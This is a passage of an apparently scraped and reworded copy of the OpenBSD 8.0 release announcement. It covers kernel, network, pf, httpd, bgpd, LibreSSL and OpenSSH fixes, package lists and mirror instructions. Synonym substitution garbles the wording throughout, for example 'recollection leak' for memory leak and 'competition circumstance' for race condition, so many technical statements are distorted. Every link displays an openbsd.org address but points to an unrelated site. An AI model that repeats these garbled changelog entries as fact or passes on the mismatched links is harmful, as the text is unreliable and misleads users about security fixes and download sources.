types of sockets. o Extended the 'mcast' pledge(2) to authorize multicast tweaks on Ethernet example sockets. o Updated libexpat to type 2.8.4 (CVE-2026-66046 CVE-2026-76641 CVE-2026-76957). o Avoid manuscript pathname TOCTOU in exec whenever the vnode changes. o Made execve(2) realpath handling additional robust. o Switched luna88k to build kernel records alongside -fno-pie. o Unprivileged kernel recollection peruse and compose exposure removed from m88k 88100 data pipeline. o unveil(2) now restricts man(1), makewhatis(8), and man.cgi(8) read and compose access. o dhcpleased(8) now validates the IP location the dhcp server acks. o Fixed signed entire figure overflow in perl(1) Storable (CVE-2026-57433). o Fixed entire figure overflow in perl(1) group and unpack (CVE-2026-57432). o Fixed perl(1) incorrect regular expression matches (CVE-2026-13221). o Fixed recollection leaks and competition circumstance in profil(2). o Improved checking of elf(3) notes; forestall out of limits access. o Reject elf(3) interpreters without loadable segments. o Disable kbind(2) and pinsyscalls(2) for fixed binaries inside exec_elf_makecmds(). o Fixed elf(5) structs to evade leaking kernel stack contents. o LibXfont 2 fixes for CVE-2026-56001, CVE-2026-56002, and CVE-2026-56003. o Xserver(1) fixes for CVE-2026-55999 and CVE-2026-56000. o Updated perl(1) Socket to 2.041 (contains fix for CVE-2026-12087, out-of-bounds heap read). o Fixed iked(8) to bzero(3) the disguise data structure, fairly than using mask4. o Fixes for CVE-2026-12244, CVE-2026-12245, CVE-2026-12246 and CVE-2026-12490 in nsd(8). o Stopped leaking transport in isakmpd(8) error paths of udp_encap_handle_message(). o Enforce per-type ID payload size in isakmpd(8) ipsec_validate_id_information(). o Avoid change overflows in memmem(3) and strstr(3). o Multiple additional limits checks in isakmpd(8). o Provide a distinct executable document for syslogd(8) parent, for privilege separation. o Made smtpd(8) apparent userinfo before sending complete imsg. o Made smtpd(8) refuse oversized sockaddr payloads received over privsep IPC. o Zero the impermanent smtpd(8) letter cover parsing buffers before use to fortify privsep. o Clear pending asynchronous lookups at teardown, for stronger smtpd(8) privsep. o Fixed possible data leak from an uninitialised ktrace(1) stack variable. - New features in the network stack: o Set ice(4) nexus province to complete duplex. o Reduced maximum TSO segs in ice(4), to authorize additional interfaces to attach. o Enabled use of 128 DMA segments for TSO packets on ice(4). o Enabled 64-bit DMA for bge(4) BCM5720. o Enabled jumbo frames in ogx(4). - Further changes and bugfixes in the network stack: o Stopped ipsec(4) overflowing the maximum packet size in the IP header. o Detect out of border says from an int overflow in the bpf(4) bpf_mem backends. o Moved bpf(4) for outgoing packets afterward in the transmit path. o Avoid leaking recollection whenever mbuf sequence allocations neglect in tun(4) tun_dev_write(). o Fixed hardmtu and rxmax in ixl(4). o Handle energetic conduit width changes correctly in iwx(4). o Hardened bpf(4) bpf_filter; obstacle unhandled instructions with bpf_validate. o Added appropriate program border checks to the bpf(4) motor (libpcap CVE-2026-31912). o Fixed bpf display calls in ppp(4); use bpf_mfilter(9). o Improved imsg handling of LS_UPD, LS_FLOOD and LS_SNAP in ospfd(8). o Changed ospfd(8) imsg handling. o ospfd(8) now adds missing rtlabel references and update routes whenever lone the tag changes. o Preserve configured interface category on ospf6d(8) nexus update. o Ensure ospfd(8) does not leak data on recollection location layout from process. o Made authpf(8) read_config() eliminate trailing pale area to avoid misconfigurations. o Fixed veb(4) SIOCBRDGRTS and SIOCBRDGVRTS ioctls leaking kernel stack data. o Fixed packet misconduct in veb(4). o veb(4) now returns ENOMEM whenever mallocarray() fails in veb_rule_list_get(). o Fixed ifconfig(8) 'vebX -tagged ifX' which accepted too many arguments. o Improved em(4) K1 exit timeout, to obtain non-broadcast packets. o Simplified mac category tests on em(4). - The following changes were made to the pf(4) firewall: o Fixed off-by-one in pf(4) ioctl DIOCIGETIFACES. o Do not liberated the pf(4) caller's ruleset whenever attaching a table fails. o No longer authorize un-terminated strings in pf(4) ioctl's. o Stopped pf(4) dropping valid MLD packets alongside unspecified source address. o Prevent pf(4) dropping TCP province if it receives a crafted reset packet. o Fixed races in pf(4) association counters that caused connection oppose underflows. o Fragment reassembly in pf(4)/inet(4)/inet6(4) now occurs in accurate routing domain. o Stopped 'pfctl -s all' dumping all OS fingerprints loaded to pf(4). o Fixed NULL pointer dereference in pf(4) outbound packet path. o Fixed out-of-bounds peruse in pf(4) pf_rule_copyin(). - Routing daemons and another userland network programs saw the following improvements: o Altered smtpd(8) code to evade false bug reports from LLM scanners. o Prevent size_t underflow on a malformed packets in agentx(3) and snmpd(8). o Widen httpd(8) server flags to 64-bit integers. o httpd(8) now enforces 'max petition body' for chunked requests passed to fastcgi. o Made httpd(8) refuse config of shared TLS listeners alongside different client CA or CRL. o In httpd(8) now sends one imsg fastcgi param struct per parameter, to maintain config order. o Added tradition HTTP header assistance to httpd(8). o Fixed httpd(8) suffix range handling. o Stopped httpd(8) sending location fcgiparams twice. o Made httpd(8) drain abort reply via bufferevent to prevent errors being truncated. o Restricted IMSG_CTL_PROCFD to genitor and inspect procedure id/instance in iked(8), httpd(8), relayd(8), and snmpd(8). o Switched the default TLS code in httpd.conf(5) set from 'compat' to 'secure.' o Made httpd(8) and dhcpd(8) correctly error inspect timegm(3). o Random-relink smtpd(8) and httpd(8) at boot. o httpd(8) now rejects CL.TE petition framing (per RFC 9112 sections 6.1 and 6.3). o Made httpd(8) refuse obs-fold alongside 400 (RFC 9112 5.2). o Fixed uploads using httpd(8) chunked transfer-encoding. o httpd(8) volition now advertise Vary: Accept-Encoding whenever gzip-static is enabled. o Made httpd(8) advertise fixed document revalidation, preserving Last-Modified and If-Modified-Since flow. o Added additional config checks to relayd(8). o Explicitly flush relayd(8) redirect rules following reloading. o In relayd(8), removed incorrect disable emblem for routers. o Use a per-host random ICMP echo id in relayd(8). o Added Lua patterns(7) assistance for relayd(8) display rules; improved glob(7) documentation. o Use getexecpath(3) and execv(3) in bgpd(8) eigrpd(8), httpd(8), iked(8), ntpd(8), relayd(8), and smtpd(8). o Fixed relayd(8) deferring connections log. o Made relayd(8) inspect proc_compose and imsg_compose_event return values. o Allow environment log flat from relayd.conf(5). o Added ECDSA assistance to the relayd(8) CA privsep engine. o relayd(8) now rejects copy Content-Length headers alongside 400. o Switched the default TLS code in relayd.conf(5) set from 'HIGH:!aNULL' to 'secure.' o Switched relayd(8) to new imsg API. o Made relayd(8) band Content-Length for chunked messages (RFC 9112 division 6.1). o Made relayd(8) refuse obs-fold to forestall parser differentials (RFC 9112 5.2). o Removed relayd(8) X509_dup() call that leaks memory; add error checks for X509_set_*. o In relayd(8), added assistance for the MKCALENDAR HTTP method. o Fixed debug build of relayd(8). o Let relayd(8) assistance multiple resolvable addresses. o Let relayd(8) grip HTTP responses without bodies. o Fixed NULL dereference in isakmpd(8) message_alloc_reply() callers. o Fixed imaginable unaligned 32-bit peruse by isakmpd(8). o Validate isakmpd(8) DELETE payload SPI gathering size. o Validate recommendation and change sizes in isakmpd(8). o Added dimension checks for the Port-Message and State attributes in login_radius(8) Access-Challenge. o Prevent the dhcpleased(8) motor from sending us a negative amount of routes. o Made dhcpleased(8) obtain accurate amount of routes from the engine process. o Make certain dhcpleased(8) UDP header dimension site at smallest covers the UDP header. o Extended smtpd(8) mask-src to suppress meeting details. o Switched smtpd(8) complete to imsgbuf_get(3). o Free dispatcher in smtpd(8) mda_envelope_free() to evade a leak. o smtpd(8) now rejects bare or slash-bearing usernames before construction the mbox path. o smtpd(8) now rejects CR/LF in argv-derived sectors before starting the SMTP enqueue dialogue. o Properly liberated the copied letter cover on the smtpd(8) smarthost lookup nonaccomplishment path. o Properly liberated mda_subaddress in smtpd(8) mda_envelope_free() to evade recollection leak. o Made smtpd(8) use inflateEnd() to tear downward the inflate stream in uncompress_gzip_chunk(). o smtpd(8) now stops parsing DNS answers formerly unpack_rr() reports failure. o Validate encrypted smtpd(8) queue buffer sizes before processing auth tag and IV data. o Imported rtrd(8) RPKI-To-Router protocol daemon and rtrctl(8). o acme-client(1) saw multiple changes: - Allow wildcards to be stated in substitute names in the acme-client(1) config. - Made acme-client(1) rub optarg/eab/eab_key alongside freezero(3) following use. - Error inspect strdup() for external document binding by acme-client(1). - In acme-client(1), forestall HTTP petition injection. - Let acme-client(1) grip '=' padding in base64url encoded EAB keys. - Fixed timegm(3) invocations in acme-client(1). - Added assistance for acme-client(1) external document binding. o In bgpd(8): - Adjusted bgpd(8) graceful restart timer handling for multi-AFI/SAFI sessions. - Made bgpd(8) do a prefix re-evaluation if the validation province of a path changes. - Clear bgpd(8) NEXTHOP_CONNECTED in nexthop_update() if msg-&gt;connected is false. - Made bgpd(8) throttle says from the equal when MSG_PROCESS_LIMIT reached. - Fixed bgpd(8) aspa_table_equal() equality comparison. - Incorporated new RTR v2 error codes from draft-ietf-sidrops-8210bis-26 to bgpd(8). - Reworked bgpd(8) IdleHoldTimer and how accelerated reconnects are implemented. - Reworked the force_update logic in the bgpd(8) adj-rib-out. - Stopped bgpd(8) leaking equal data to bgpctl(8). - Implemented ch_meta_locate() in bgpd(8). - Brought rear the bgpd(8) path_id_tx hack for regular peers. - In bgpd(8), improved mrt_dump_entry_mp() calculation handling, evade overflow. - Avoid infinite iteration whenever parsing PFKEY replies in iked(8), isakmpd(8), bgpd(8), and ldpd(8). - Had bgpd(8) create certain the nexthop trait is current if there is any nlri data. - Stopped bgpd(8) failing difficult on type mismatch; ignore additional end-of-params messages. - Improved bgpd(8) handling of unidentified extended communities. - Increased the bgpd(8) MRT trait buffer to MAX_EXT_PKTSIZE so it plant in all cases. - Fixed use-after-free in bgpd(8) rib_remove and parse.y. - Added bgpd(8) force_update emblem to power pend_prefix_add() calls in adjout_prefix_update(). - Made bgpd(8) regard RTR min-version in downgrade way and correctly decision the connection. - Improved bgpd(8) add-path dispatch parser. Error out if max is used alongside best. - Adjusted handling of limits in bgpd(8) up_generate_addpath(). - Added extended communication capability to checks for what the bgpd(8) equal has enabled. - Made bgpd(8) come back an error on unhandled imsg types in the adj-rib-out case. - Fixed bgpd(8) harbor configuring on small endian systems. - Extra size checks for bgpd(8) ibuf_set_maxsize(). - Introduce MAX_ADDPATH_COUNT (set to 100) and use this for the bgpd(8) add-path. - In bgpd(8) merge_peers() additionally set local_bgpid for cloned peers, not lone regular peers. - Loop counters converted from uint8_t to u_int in bgpd(8). - Reduce maximum configurable old period to CAPA_GR_TIMEMASK (4095) in bgpd(8). - In bgpd(8) session_graceful_restart() additionally arm the SessionDown timer. - Made bgpd(8) inspect xp-&gt;rdesession to cognize if the RDE has the meeting operating or not. - Improved path_calc_hash() in bgpd(8). - Fixed 'treat as withdraw' handling for invalid bgpd(8) ORIGIN attributes. - Fixed two recollection accounting issues in bgpd(8) chash. - Additional checks on TLV encoding in bgpd(8). - Limit all bgpd(8) ASPATH attributes to 750 elements. - In bgpd(8), forestall overflow of the uint8_t dimension value in attr_optadd. - Re-evaluate bgpd(8) prefixes if fair PREFIX_FLAG_FILTERED changed. o In rpki-client(8): - Fixed rpki-client(8) to evade buffer overreads alongside OpenSSL 4.1. - In rpki-client(8), refuse non-conformant certificate subject encodings. - Made rpki-client(8) inspect alignment of certificate CRLDPs alongside the referring Manifest. - Reworked rpki-client(8) cms_parse_validate(). - Fixed handling of inherited resources in leaves by rpki-client(8). - Unified all signed entity parser functions in rpki-client(8). - rpki-client(8) now unconditionally warns concerning incorrect RSA parameters; rejects several malformed ROAs. - Limit the range of deltas added to the rpki-client(8) queue. - Ensure accordant states in persistent rpki-client(8) HTTP connections. - Removed behavior difference between rpki-client(8) versions alongside and without gbr support. - Fixed imaginable exit competition in the rpki-client(8) parser. - Made rpki-client(8) lone document NCA former on successful runs. - rpki-client(8) volition now lone output config records on prosperous run. - Batch rpki-client(8) retries of non-functional CAs based on their rsync basis URI. - Properly use constraints to rpki-client(8) BGPsec Router certs. - Deduplicated rpki-client(8) skiplist, shortlist, and NCA retry handling. - Removed incorrect liberated in rpki-client(8) nca_hist_load(). - In rpki-client(8) cert_ca_sia(), use the accurate notify cord in error message. - Removed twice fclose in a achievement way in rpki-client(8). - Added a coinflip to addition cycle-to-cycle jitter in rpki-client(8). - In rpki-client(8), added a backoff retry scheme for non-functional CAs. - rpki-client(8) now rejects certs alongside copy extension OIDs. - Clear last_modified following all reply on a persistent HTTP rpki-client(8) connection. - In rpki-client(8), toggle subordinates in CCR manifests to a uncomplicated queue. - Made rpki-client(8) exclude hidden records and directories when synchronising via rsync. - In rpki-client(8), constricted the dimension of filenames in some ASN.1 sectors to 255. - Fixed incomplete strncmp() inspect in rpki-client(8). - Fix off-by-one in rpki-client(8) ip_addr_check_overlap(). - Fixed shortlist and skiplist checks in rpki-client(8). - Added additional error checks and safeguards to rpki-client(8). - tmux(1) improvements and bug fixes: o Keep the scroll stance in tree manner whenever the catalog is rebuilt (issue 5631). o Do not leak waiting clients (in wait-for) if they are killed (issue 5614). o Do not cancel grade whenever a click is on the border. o Added assistance for borderless menus, akin panes. o Added utf8 terminal-features. o Ignore concentration events before to evade them interfering alongside prefix. o Added -K emblem to new-pane to create a modal pane grasp all keys. o Always unzoom before splitting windows, including for floating panes. o Added 'T' to alter pane title. o Added refresh-now command. o Ignore Ms if it is invalid (eg no %p1), study in client mode. o Fixed collision whenever synchronising groups and there is no current window. o Added pane_private_modes format alongside catalog of DEC personal modes. o Prevented center dumps upon startup on landisk. o Added modal panes, created currently alongside new-pane -O. o Major rework of prompts. o Fixed cursor calculation whenever the position row is at the top. o Added -H emblem to capture-pane to display hyperlinks. o Added -L to display row numbers alongside capture-pane and -F to show row flags. o Clear complete lines whenever removing from former or freeing. o Redraw complete meeting whenever making a new pane. o Added -g emblem to kill-session to slay all sessions in a group. o Fixed collision whenever freeing layout cell. o Added missing disagreement to %unlinked-window-renamed. o Increase escape postpone if the buffer contains a partial paste end. o Fixed collision caused by including unattached clients on sorted list. o Added new-pane command. o Fixed infinite iteration because of underflow whenever redrawing scrollbar. o Fixed authority manner teardown ordering for queued pane output. o Added Emacs-style re-centre-top-bottom. o Added period limits to several loops. o Added missing flags to screen_mode_to_string. - LibreSSL type 4.4.0: o Portable changes: - Numerous compatibility tier fixes for AIX, FreeBSD, macOS, MinGW, NetBSD, and particularly Windows. - Fixed incorrect code generation by the MSVC ARM64 optimizer in constant-time bignum code. - Improved gathering assistance on many platforms. - Fixed openssl(1), nc(1), and ocspcheck(8) silently running without pledge(2) and unveil(2) on hosts that provision them. o Internal improvements: - Minor code cleanup for PKCS#7. - Clear unused bits for the maximum of RFC 3779 IP address ranges. - Cleanup passes complete the DTLS code, avoiding many contortions. - Zero out the failure_key in ML-KEM code. - Improve portability in preprocessor based SHA assembly. - Removed a few vestigial #ifdefs from community and internal headers. - Introduce and use dtls12_handshake_msg framework. - Rename union from _ to u in the ui code. Avoids Windows CE #ifdef. - Clean up and simplify signature algorithm handling after elimination of TLSv1.0 and TLSv1.1. - Add a item at infinity inspect to ecdh_compute_key(). - Fix incorrect intent inspect in unreachable non-legacy way of the contemporary X.509 verifier. - Improve TLSv1.3 server handling of no shared groups. - Correct secondary key portion handling for HelloRetryRequests. - Fix EXFLAG_CRITICAL mishandling in the crl_cb(). - Among CRLs alongside the identical mark favor the one alongside the most latest thisUpdate to equivalent BoringSSL and OpenSSL behavior. - Clean up sequence figure and communication header handling in DTLS. - Remove redundant BIO_write() dimension assertions in b64_write(). - Report invalid base64 BIO province as an inner error rather than asserting. - Improve SHA-3 achievement by using an unrolled and interleaved algorithm. - Allocate TLSv1.3 obtain buffers lazily. - Simplify handling of remaining document satisfied on toggle to the bequest stack. - Avoid harmless narrowing of the come back value in dtls1_ctrl(). - Remove NID_md5_sha1 assistance from tls1_PRF(). - Remove DTLS unprocessed records queue. - Remove DTLS use data queue. - Remove SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS which was never set. o Compatibility changes: - The misnamed tls_peer_cert_chain_pem() has been deprecated and may be removed in a forthcoming release. tls_peer_cert_chain_verified_pem() and tls_peer_cert_bundle_unverified_pem() have to be used instead. - Use X25519MLKEM768 as the preferred collection for TLSv1.3 connections in libtls. - Ensure libtls keeps operating alongside forthcoming OpenSSL releases that volition halt NUL-terminating ASN.1 strings. This is an old bug in libtls that volition bite, likely starting alongside OpenSSL 4.2. - CRYPTO_cleanup_all_ex_data() is now a no-op. It was not thread harmless and the genuine cleanup is now done by OPENSSL_cleanup(3). - Align X509_check_ca(3) alongside contemporary OpenSSL. While it has long been documented that it lone plant following calling X509_check_purpose(3), it motionless makes awareness to "fail closed", i.e., signify a non-CA. - Added OIDs for CCR, ErikIndex, ErikPartition, ErikSegmentIndex, and communityDefinition. o Bug fixes: - Fix PKCS7_set_{un,}signed_attributes(3) to authorize visitant to liberated on nonaccomplishment fairly than risking a twice free. - Initialize decode_error and invalid_key variables in TLS key portion code to evade branching on uninitialized memory. - Record expansion dimension between category and data in the ClientHello hash to justify identical framing in archetypal and second CH. - Fix out of border writes in the s_client XMSS mode. - Ensure EC_GROUP_check(3) and X509_CRL_verify(3) failures outcome in "app" failures in openssl(1) ecparam and openssl crl. - Do not neglect obtain on reverse DNS lookup failures in s_socket. - Ensure X509V3_EXT_print(3) lone returns 0 and 1. - Avoid calling memcmp() on NULL in IPAddressFamily_cmp(). - In libtls disallow wildcard matching of a TLD stated as a FQDN. - Unbreak several aspects of TLSv1.2 alongside tradition curve lists. - Ensure a peer-provided EC community key uses uncompressed encoding. - Send decode_error vigilant on nonaccomplishment to decode an EC peer pubkey. - Avoid NULL dereference and out-of-bounds peruse in password-based CMS decryption. - Add several missing limits inspect to ASN1_mbstrinc_copy(). - Avoid freeing a caller-owned buffer in PKCS7_verify(3). - Remove SSL_OP_LEGACY_SERVER_CONNECT from default options. - Send forbidden indicator alerts for assorted HelloRetryRequest violations. - Check that the server selected ciphersuite is valid for use alongside TLSv1.2. - Unlock CRYPTO_LOCK_UI on ui_open_session() nonaccomplishment to evade a deadlock. - Check HMAC(3) come back value to evade afterward use of uninitialized in openssl(1). - Use accurate vigilant for key_share without supported_groups. - Don't autumn X509_V_ERR_HOSTNAME_MISMATCH whenever verify callback returns 1. It has lengthy been documented that this is ill advised but several applications motionless do it. - Ensure the server selects an ALPN protocol that we advertised or abort the handshake alongside illegal_parameter. - Fix streaming of PKCS#7 objects alongside omitted content. - Avoid OOB admission because of category disturbance in PKCS7_stream(). - Plug leak and assorted another bugs in asn1_multi(), a helper to grip sequences and sets in config parsing. - Fix RFC 3779 bequest checks for leaves as far as possible without breaking the RPKI. Still authorize the contiguous issuer to omit among the extensions since alternatively concerning one third of RFC 9286 Manifests would rotate into invalid. - Correct a botched size inspect in dtls1_process_fragment(). - Avoid confusing delta CRLs as complete CRLs. - When copying an RSA-PSS EVP_PKEY_CTX, justify saltlen and minimal saltlen restrictions are copied fairly than using the defaults. - Allow DTLS clients to obtain unexpected Finished messages. - Cache the leaf's extensions before adding it to a validated sequence to create name constraints inspect activity additional reliably. - Ensure the entire topic is searched for email addresses and average names. - Check for embedded NULs in emails and subjectAltname in the basically unused bequest NAME_CONSTRAINTS_*() API. - Remove assistance for nameRelativeToCRLIssuer in the CRL Distribution Point extension. Per RFC 5280 it SHOULD not be used by conforming CAs and it was dining recollection for breakfast pre-signature. o Security and reliability fixes: - Fix parsing issues in X.509 name constraints URI host parsing. Handle IPv6 literals correctly and don't allow specially crafted userinfo to bypass presenter checks. - Limit size of buffered DTLS handshake messages to avoid overly ample recollection use on small handshake message fragments. - Fix an OCSP responder authority bypass for clients using tls_config_ocsp_require_stapling(), of which lone OpenBSD nc(1) and ftp(1) are known whenever they're used alongside the "muststaple" key word. o Testing and proactive security: - Improved test safety for DTLS and TLS renegotiation. - Add X.509 CRL regress from pre-Apache2-licensed BoringSSL. - Rework the evaluation example to be recollection based fairly than document based. Match Go's output format additional closely. - OpenSSH 10.6: o Security fixes: - Disabled ssh(1) LZ77 dictionary coder to evade a potential side-channel leak. - Fixed ChannelTimeout and RekeyLimit not being applied in sshd_config(5). - Made ssh(1) authorized_keys "restrict" keyword apply correctly to tunnel forwarding. o Potentially incompatible changes: - Use IANA allocated codepoint for ssh-mldsa44-ed25519 instead of '@openssh.com'. - Made sshd_config(5) DisableForwarding=yes override PermitTunnel=yes. - Enforce a maximum size for usernames in ssh-agent(1) agent key use constraints. - Disallow NUL byte in scp(1) '-O filename'. o New features: - New ssh-add(1) choice '-P' to skip PIN admission (bz3635). - ssh(1) indication handling alongside readpassphrase(3) fixed. - Switched ssh(1) from supercop ed25519 to libsodium. - Extended ssh(1) TCPKeepAlive to assistance forwardings (bz3921). - Added ssh-keygen(1) 'hexdump' to dump the key blob in hex format. - Allow setting/clearing ssh-keygen(1) touch-required/verify-required flags on FIDO personal keys whenever resetting the passphrase. - Added ssh(1) '-Z user@host' manner that lists pubkeys that will be tried for authentication. - Added experimental ssh(1) assistance for composite post-quantum mldsa44-ed25519 signature scheme. - Added an explicit-seed type of the ssh(1) keygen function. - Added signature malleability and pubkey validity checks to sshd(8) ed25519 verification. o Bugfixes: - Check ssh(1) compressed payloads don't inflate beyond the maximum payload length. - Avoid competition between multiple ssh(1) processes establishing multiplexing authority socket. - Plugged recollection leak in ssh-add(1) (CID 913600). - Fix for ssh(1) CIDs 913601 and 913602. - Fix for ssh(1) CID 913600. - Converted ssh(1) conduit timeouts to authorize partial and subsecond timeouts. - Made ssh(1) masking signals correctly use sigaddset (bz3981). - Fixed ssh(1) memleaks (CID 913598 and 913599); added missing semicolon (CID 913599). - Corrected Daylight Savings Time timestamp conversion by ssh(1) (bz4004). - Fixed ssh(1) proxy socket breakage in t-multiplex after latest pledge(2) changes. - Reading server banner by ssh-keyscan(1) no longer blocks/freezes on a many-host keyscan. - Allow session-bind@openssh.com requests whenever the ssh(1) agent is locked. - Avoid possible realloc use-after-free in the ssh(1) client. - Reordering of certificates tried during ssh(1) pubkey authentication. - Fixed ssh(1) ML-KEM/ECDH interop problem. - Removed several key ssh(1) parsing and verification paths from the pre-auth assault surface. - Avoid download to server-controlled way whenever performing ssh(1) download via commandline. - Avoid imaginable NULL deref in ssh(1); sanitise filenames received via distant glob. - Large refactoring of sshd(8) config administration code. - Made sshd(8) power domain name received from the system resolver to lowercase. - Fixed two one-byte out-of-cound says in sshd(8). - Stricter validation of transport province passed from the preauth to postauth sshd(8) process. - Fixed ssh(1) client use-after-free on error way if cipher_init() fails. - Added ssh-agent(1) -V to imprint version, use it to test the binary is functional following relinking. - Stopped ssh(1) validating bad cipher/mac lists arguments as valid. - Fixed ssh(1) NULL deref during pubkey auth. - Dropbear lately added a -Q option; create ssh(1) use it to query KEX if available. - Classify ssh(1) dynamic-tcpip channels as bulk, not interactive (bz3958). - Ports and packages: o Pre-built packages are accessible for the following architectures on the day of release: - aarch64 (arm64): 12907 - amd64: 13060 - i386: 10659 - mips64: 9072 - powerpc64: 9564 - sparc64: 10621 o Packages for the following architectures volition be made accessible as their builds complete: - arm - powerpc - riscv64 - Some highlights: o Asterisk 20.21.0 and 22.11.0 o OCaml 4.14.2 o Audacity 3.7.9 o OpenLDAP 2.6.15 o CMake 4.3.5 o PHP 8.3.33, 8.4.26 and o Chromium 154.0.8037.92 8.5.11 o Emacs 31.1 o Postfix 3.5.28 and 3.11.7 o FFmpeg 9.0.2 o PostgreSQL 18.6 o GCC 16.1.0 o Prism Launcher 11.1.0 o GHC 9.10.3 o Python 2.7.18 and 3.14.7 o GNOME 49 o Qt 5.15.19 (+ kde patches) and o Go 1.27.1 6.11.2 o JDK 11.0.32, 17.0.20, 21.0.12, o R 4.6.1 and 25.0.4 o Ruby 3.3.12, 3.4.11 and 4.0.7 o KDE Gear 26.08.1 o Rust 1.98.1 o KDE Frameworks 6.30.0 o SQLite 3.53.2 o KDE Plasma 6.7.5 o Shotcut 26.8.1 o Krita 6.0.3 o Sudo 1.9.17p2 o LLVM/Clang 21.1.8 and 22.1.8 o Suricata 7.0.7 o LibreOffice 26.8.0.3 o Tcl/Tk 8.5.19, 8.6.18 and 9.0.4 o Lua 5.1.5, 5.2.4, 5.3.6, o TeX Live 2026 5.4.8 and 5.5.1 o Vim 9.2.1125, Neovim 0.12.5 and o MariaDB 12.3.3 Vim-Classic 2026091 o Mono 6.14.1 o Wayland 1.26.0 alongside compositors o Mozilla Firefox 157.0 and CoW, Labwc, Mango, Niri, Sway and ESR 153.4.0 Wayfire o Mozilla Thunderbird 153.4.0 o Vulkan 1.4.357.0 o Mutt 2.4.2 and NeoMutt 20260616 o Xfce 4.20.0 o Node.js 24.21.0 and Deno 2.9.7 - As usual, dependable improvements in manual pages and another documentation. - The scheme includes the following important components from exterior suppliers: o Xenocara (based on X.Org 7.7 alongside xserver 21.1.24 + patches, freetype 2.14.3, fontconfig 2.17.1, Mesa 25.0.7, xterm 410, xkeyboard-config 2.20, fonttosfnt 1.2.5 and more) o LLVM/Clang 22.1.6 (+ patches) o GCC 4.2.1 (+ patches) and 3.3.6 (+ patches) o Perl 5.42.3 (+ patches) o pkgconf 3.0.7 o NSD 4.15.2 o Unbound 1.26.1 o Ncurses 6.4 o Binutils 2.17 (+ patches) o GDB 6.3 (+ patches) o Awk 20250116 o Expat 2.8.4 o zlib 1.3.2 (+ patches) ------------------------------------------------------------------------ - SECURITY AND ERRATA -------------------------------------------------- We provision patches for known safety threats and another important issues discovered following all release. Our continued investigation into security method we volition discover new safety problems -- and we always provide patches as shortly as possible. Therefore, we advise regular visits to <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/security.html</a> and <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/errata.html</a> ------------------------------------------------------------------------ - MAILING LISTS AND FAQ ------------------------------------------------ Mailing lists are an crucial method of communication among users and developers of OpenBSD. For data on OpenBSD mailing lists, please see: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/mail.html</a> You are additionally encouraged to peruse the Frequently Asked Questions (FAQ) at: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/faq/</a> ------------------------------------------------------------------------ - DONATIONS ------------------------------------------------------------ The OpenBSD Project is a volunteer-driven application collection funded by donations. Besides OpenBSD itself, we additionally create crucial software like OpenSSH, LibreSSL, OpenNTPD, OpenSMTPD, the ubiquitous pf packet filter, the norm activity of our ports betterment process, and many others. This ecosystem is all handled under the identical backing umbrella. We anticipation our norm application volition outcome in contributions that maintain our build/development infrastructure, pay our electrical/internet costs, and authorize us to continue functioning extremely productive developer hackathon events. All of our developers powerfully encourage you to donate and assistance our future efforts. Donations to the project are extremely appreciated, and are described in additional item at: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/donations.html</a> ------------------------------------------------------------------------ - OPENBSD FOUNDATION --------------------------------------------------- For those unable to create their contributions as straightforward gifts, the OpenBSD Foundation (<a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.openbsdfoundation.org</a>) is a Canadian not-for-profit company that can obtain larger contributions and issue receipts. In several situations, their receipt may meet requirements as a business disbursal write-off, so this is certainly a deliberation for some organizations or businesses. There may additionally be visibility benefits since the Foundation may be interested in participating in media releases. In turn, the Foundation then uses these contributions to assistance OpenBSD's infrastructure needs. Contact the basis board at directors@openbsdfoundation.org for more information. ------------------------------------------------------------------------ - RELEASE SONG --------------------------------------------------------- OpenBSD 8.0 comes alongside the opus "The Simps on AI". An explanation of the opus may be established at: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/lyrics.html#80</a> ------------------------------------------------------------------------ - HTTPS INSTALLS ------------------------------------------------------- OpenBSD can be effortlessly installed via HTTPS downloads. Typically you need a sole small part of footwear media (e.g., a USB flash drive) and then the remainder of the records can be installed from a figure of locations, including immediately off the Internet. Follow this uncomplicated set of instructions to justify that you discover all of the records you will need during performing an instal via HTTPS. 1) Read either of the following two records for a catalog of HTTPS mirrors which provision OpenBSD, afterward choose one near you: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/ftp.html</a> <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.openbsd.org/pub/OpenBSD/ftplist</a> As of October 20, 2026, the following HTTPS mirror sites have the 8.0 release: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://cdn.openbsd.org/pub/OpenBSD/8.0/</a> Global <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.eu.openbsd.org/pub/OpenBSD/8.0/</a> Stockholm, Sweden <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.hostserver.de/pub/OpenBSD/8.0/</a> Frankfurt, Germany <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.bytemine.net/pub/OpenBSD/8.0/</a> Oldenburg, Germany <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.fr.openbsd.org/pub/OpenBSD/8.0/</a> Paris, France <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://mirror.aarnet.edu.au/pub/OpenBSD/8.0/</a> Brisbane, Australia <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.usa.openbsd.org/pub/OpenBSD/8.0/</a> CO, USA <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp5.usa.openbsd.org/pub/OpenBSD/8.0/</a> CA, USA <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://mirror.esc7.net/pub/OpenBSD/8.0/</a> TX, USA <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://openbsd.cs.toronto.edu/pub/OpenBSD/8.0/</a> Toronto, Canada <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://cloudflare.cdn.openbsd.org/pub/OpenBSD/8.0/</a> Global <a href="https://en.mycoding.id/category/technology" 